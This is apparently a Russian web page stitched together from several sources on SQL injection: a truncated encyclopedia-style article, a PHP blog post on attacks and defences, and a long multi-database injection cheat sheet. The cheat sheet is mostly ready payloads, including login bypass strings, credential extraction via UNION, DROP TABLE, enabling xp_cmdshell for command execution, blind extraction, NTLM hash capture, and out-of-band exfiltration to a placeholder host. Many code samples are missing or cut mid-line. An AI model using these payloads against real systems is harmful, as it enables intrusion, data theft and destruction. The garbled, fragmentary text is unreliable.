SQL-инъекция в Peel


Оглавление (нажмите, чтобы открыть):

SQL-инъекция в Peel

Допустим, серверное ПО, получив входной параметр id, использует его для создания SQL-запроса. Рассмотрим следующий

Если на сервер передан параметр >

Но если злоумышленник передаст в качестве параметра >

Таким образом, изменение входных параметров путём добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо новости с заданным идентификатором будут выбраны все имеющиеся в базе новости, поскольку выражение 1=1 всегда истинно).

Внедрение в строковые параметры

Предположим, серверное ПО, получив запрос на поиск данных в новостях параметром search_text, использует его в следующем SQL-запросе (здесь параметры экранируются кавычками):

Сделав запрос вида http://example.org/script.php?search_text=Test мы получим выполнение следующего SQL-запроса:

Но, внедрив в параметр search_text символ кавычки (который используется в запросе), мы можем кардинально изменить поведение SQL-запроса. Например, передав в качестве параметра search_text значение ‘)+and+(news_ >

Использование UNION

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это предоставляет злоумышленнику возможность получить несанкционированный доступ к данным.

Рассмотрим скрипт отображения новости (идентификатор новости, которую необходимо отобразить, передается в параметре id):

Если злоумышленник передаст в качестве параметра id конструкцию -1 UNION SELECT 1,username,password,1 FROM admin, это вызовет выполнение SQL-запроса

Так как новости с идентификатором -1 заведомо не существует, из таблицы news не будет выбрано ни одной записи, однако в результат попадут записи, несанкционированно отобранные из таблицы admin в результате инъекции SQL.

Экранирование хвоста запроса

Зачастую, SQL-запрос, подверженный данной уязвимости, имеет структуру, усложняющую или препятствующую использованию union. Например скрипт

отображает имя автора новости по передаваемому идентификатору id только при условии, что имя начинается с буквы а, и внедрение кода с использованием оператора UNION затруднительно.

В таких случаях, злоумышленниками используется метод экранирования части запроса при помощи символов комментария(/* или в зависимости от типа СУБД).

В данном примере, злоумышленник может передать в скрипт параметр id со значением -1 UNION SELECT password FROM admin/*, выполнив таким образом запрос

в котором часть запроса ( AND author LIKE (‘a%’)) помечена как комментарий и не влияет на выполнение.

Расщепление SQL-запроса

Для разделения команд в языке SQL используется символ ; (точка с запятой), внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе, однако не все диалекты SQL поддерживают такую возможность.

Например, если в параметры скрипта

злоумышленником передается конструкция, содержащая точку с запятой, например 12;INSERT INTO admin (username, password) VALUES (‘HaCkEr’, ‘foo’); то в одном запросе будут выполнены 2 команды

и в таблицу admin будет несанкционированно добавлена запись HaCkEr.

Методика атак типа внедрение SQL-кода

Поиск скриптов, уязвимых для атаки

На данном этапе злоумышленником изучается поведение скриптов сервера при манипуляции входными параметрами с целью обнаружения их аномального поведения. Манипуляция происходит всеми возможными параметрами:

  • Данными передаваемыми через методы POST и GET
  • Значениями [HTTP-Cookie]
  • HTTP_REFERER (для скриптов )
  • AUTH_USER и AUTH_PASSWORD (при использовании аутентификации)

Как правило, манипуляция сводится к подстановке в параметры символа одинарной (реже двойной или обратной) кавычки.

Аномальным поведением считается любое поведение, при котором страницы, получаемые до и после подстановки кавычек, различаются (и при этом не выведена страница о неверном формате параметров).

Наиболее частые примеры аномального поведения:

  • выводится сообщение о различных ошибках;
  • при запросе данных (например, новости или списка продукции) запрашиваемые данные не выводятся вообще, хотя страница отображается

и т. д. Следует учитывать, что известны случаи, когда сообщения об ошибках, в силу специфики разметки страницы, не отображаются в браузере, хотя и присутствуют в её HTML-коде.

Анализ внедрения

После того как выявлены скрипты, подверженные данной атаке, начинается анализ, в результате которого будут выявлены:

  • примерный вид SQL-запроса, в котором происходит внедрение кода;
  • тип используемой СУБД, а также, возможно, версия СУБД.

Для определения типа СУБД во внедряемый код подставляются SQL-конструкции, специфические для разных СУБД.

Конструкция MySQL MS SQL Oracle MS Access PostgreSQL Sybase IBM DB2 Ingres
Комментирование остатка строки /* . — . — . или /* . Коментирование возможно лишь внедрением в запрос NULL-байта: %00. — . — . — . — .
Получение версии version() @@version select banner from v$version version() @@version select versionnumber from sysibm.sysversions dbmsinfo(‘_version’)
Конкатенация строк concat(string1,string2) string1+string2 string1ΙΙstring2 или string1+string2 или concat(string1,string2) string1IIstring2 string1+string2 string1ΙΙstring2 или string1 concat string2 string1ΙΙstring2

Защита от атак типа внедрение SQL-кода

Для защиты от данного типа атак необходимо тщательно фильтровать входные параметры, значения которых будут использованы для построения SQL-запроса.

Фильтрация строковых параметров

Предположим, что код, генерирующий запрос (на языке программирования Паскаль), выглядит так:

Чтобы внедрение кода было невозможно, требуется брать в кавычки все строковые параметры. В само́м параметре заменяют кавычки на \», апостроф на \’, обратную косую черту на \\ (это называется «экранировать спецсимволы»). Это можно делать таким кодом:

Для PHP фильтрация может быть такой:

Фильтрация целочисленных параметров

Возьмём другой запрос:

В данном случае поле id имеет числовой тип, и его нельзя брать в кавычки. Поэтому «закавычивание» и замена спецсимволов на escape-последовательности не проходит. В таком случае помогает проверка типа; если переменная id не является числом, запрос вообще не должен выполняться.

Для PHP этот метод будет выглядеть так:

В случае ошибки функция StrToInt вызовет исключение EConvertError , и в его обработчике можно будет вывести сообщение об ошибке. Двойное преобразование обеспечивает корректную реакцию на числа в формате $132AB (шестнадцатеричная система счисления). На стандартном Паскале, не умеющем обрабатывать исключения, код несколько сложнее.

Усечение входных параметров

Для внесения изменений в логику выполнения SQL-запроса требуется внедрение достаточно длинных строк. Так, минимальная длина внедряемой строки в вышеприведённых примерах составляет 8 символов («1 OR 1=1«). Если максимальная длина корректного значения параметра невелика, то одним из методов защиты может быть максимальное усечение значений входных параметров.

Например, если известно, что поле id в вышеприведённых примерах может принимать значения не более 9999, можно «отрезать лишние» символы, оставив не более четырёх:

Использование параметризованных запросов

Многие сервера баз данных поддерживают возможность отправки параметризованных запросов. При этом параметры внешнего происхождения отправляются на сервер отдельно от самого запроса либо автоматически экранируются клиентской библиотекой. Для этого используются

  • на DBI::quote или DBI::prepare ;
  • на PreparedStatement ;

  • на C# — свойство SqlCommand.Parameters ;
  • на MySQL) — функции mysql_escape_string, mysql_real_escape_string, addslashes .
  • на

Смотрите также

Ссылки

Wikimedia Foundation . 2010 .

Смотреть что такое «Инъекция SQL» в других словарях:

SQL-инъекция — Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

SQL инъекция — Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

PHP-инъекция — (англ. PHP injection) один из способов взлома веб сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg replace() (с модификатором «e»),… … Википедия

Insert (SQL) — У этого термина существуют и другие значения, см. Insert. Правильный заголовок этой статьи INSERT. Он показан некорректно из за технических ограничений. INSERT оператор языка SQL, который позволяет добавить строки в таблицу, заполняя… … Википедия

Update (SQL) — Правильный заголовок этой статьи UPDATE. Он показан некорректно из за технических ограничений. Для улучшения этой статьи желательно … Википедия

Внедрение SQL-кода — (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий… … Википедия

Хакерская атака — в узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… … Википедия

Уязвимость (компьютерная безопасность) — У этого термина существуют и другие значения, см. уязвимость. В компьютерной безопасности, термин уязвимость (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно нарушить её целостность и вызвать… … Википедия

Крэкерская атака — Хакерская атака в узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер» … Википедия

PHP Profi

Эта статья является статьёй-квестом. Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

«Слепые» инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав «подготовленные» данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей ‘users’ , и что будет, если злоумышленник введет такой код в незащищённую форму:

Таблица ‘users’ будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/? >`, или ` http://example.com/users/1 `, или ` http://. /. /post/35 `.

Что произойдет, если мы подставим в урл следующий код?

Вероятно, такой запрос вернет нам логин пользователя и. хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 – а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

Этот пример можно хакнуть, передав 뼧 or 1=1; — в поле логина в форме. Движок SQL сгенерит конечный запрос так:

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

Использование PDO

Длинный способ подстановки параметров:

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

SQL-инъекция в Peel

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL, Microsoft SQL Server, ORACLE и PostgreSQL.

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.


В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
• M (MySQL);
• S (SQL Server);
• O (Oracle);
• P (PostgreSQL);
• + (возможно на других БД);
• * (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
— (SM): DROP sampletable;—
# (M): DROP sampletable;#
Пример:
Username: admin’ —
Сгенерированный запрос: SELECT * FROM members WHERE username = ‘admin’—‘ AND password = ‘password’
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при >

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.

Зелёный — поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members—
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members —
Сгенерированный запрос: SELECT * FROM products WHERE >
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,’true’,’false’)
IF condition true-part ELSE false-part (S): IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
пример:
if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + ‘-‘ + password FROM members
|| (*MO): SELECT login || ‘-‘ || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII(‘a’)
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin’ —
admin’ #
admin’/*
‘ or 1=1—
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1—
‘) or (‘1’=’1—

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username : admin
Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
‘ HAVING 1=1 —
‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1—
ORDER BY 2—
ORDER BY 3—
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
‘ union select sum(columntofind) from users— (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE >
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, »+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo( строка типа varchar(8000) )
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp «SELECT * FROM test..foo» queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:’; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
EXEC master.dbo.xp_cmdshell ‘ping ‘

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005 : sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE sp >
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q»DBCC SHOWCONTIG»
OPENROWSET (Transact-SQL) — http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
‘;shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = ‘U’
Получение пользовательских таблиц

SELECT name FROM syscolumns WHERE )
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
. WHERE users NOT IN (‘First User’, ‘Second User’)
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE > AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i. ) as p where p.x=21

28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’ ‘+name FROM syscolumns WHERE ) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;—

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’
Получение названий столбцов

31. Слепые инъекции
В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

TRUE : SELECT >78—

FALSE : SELECT >103—

FALSE : SELECT >89—

FALSE : SELECT >83—

TRUE : SELECT >79—

FALSE : SELECT >80—

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY ‘time’ (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = ‘sa’ waitfor delay ‘0:0:10’
Product —
Product —
Product —
Product —
Product —
Product —
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.


IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR((),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)
– ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
Пример:
Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘
Email : xx@xx.com
Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Синтаксис:
UNC-путь: ‘\\YOURIPADDRESS\C$\x.txt’
36. Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ()+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
создаёт DNS-запрос к .yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+()+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
создаёт DNS-запрос к .yourhost.com

— ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,(), ‘yourhost.com\\’)))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT () INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
Записывает данные в ваш файл
— ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||()||») FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||()||’.html’) FROM DUAL)
Результаты будут сохранены HTTP-логи
